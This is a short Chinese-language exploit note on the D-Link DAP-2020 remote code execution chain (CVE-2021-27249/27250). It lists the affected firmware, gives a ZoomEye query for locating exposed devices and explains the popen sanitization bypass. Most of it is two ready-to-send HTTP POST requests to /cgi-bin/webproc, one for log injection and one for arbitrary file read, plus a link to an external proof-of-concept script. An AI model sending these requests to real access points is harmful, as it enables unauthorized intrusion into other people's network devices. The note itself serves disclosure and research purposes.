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D-Link DAP-2020远程代码执行 (CVE-2021-27249-2021-27250).md

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D-Link DAP-2020远程代码执行 (CVE-2021-27249/2021-27250)

CVE：CVE-2021-27249，CVE-2021-27250

受影响设备：

DAP-2020（硬件版本：A1，固件版本：6.10）

详细分析：https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html

ZoomEye：/webproc

Blind RCE:

WEB_CmdFileList 函数尝试根据用户使用进程打开（popen）的输入来检查文件是否存在于特定目录中，虽然它执行了字符串清理操作，攻击者依然可以绕过它。

poc.py：https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html

Log注入

POST /cgi-bin/webproc HTTP/1.1
Host: dlinkap
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
Origin: http://dlinkap
DNT: 1
Connection: close
Referer: http://dlinkap/cgi-bin/webproc
Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes
Upgrade-Insecure-Requests: 1

getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=CONTROLLED&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef

任意文件读取

POST /cgi-bin/webproc HTTP/1.1
Host: dlinkap
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
Origin: http://dlinkap
DNT: 1
Connection: close
Referer: http://dlinkap/cgi-bin/webproc
Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes
Upgrade-Insecure-Requests: 1

getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef

ref:

https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html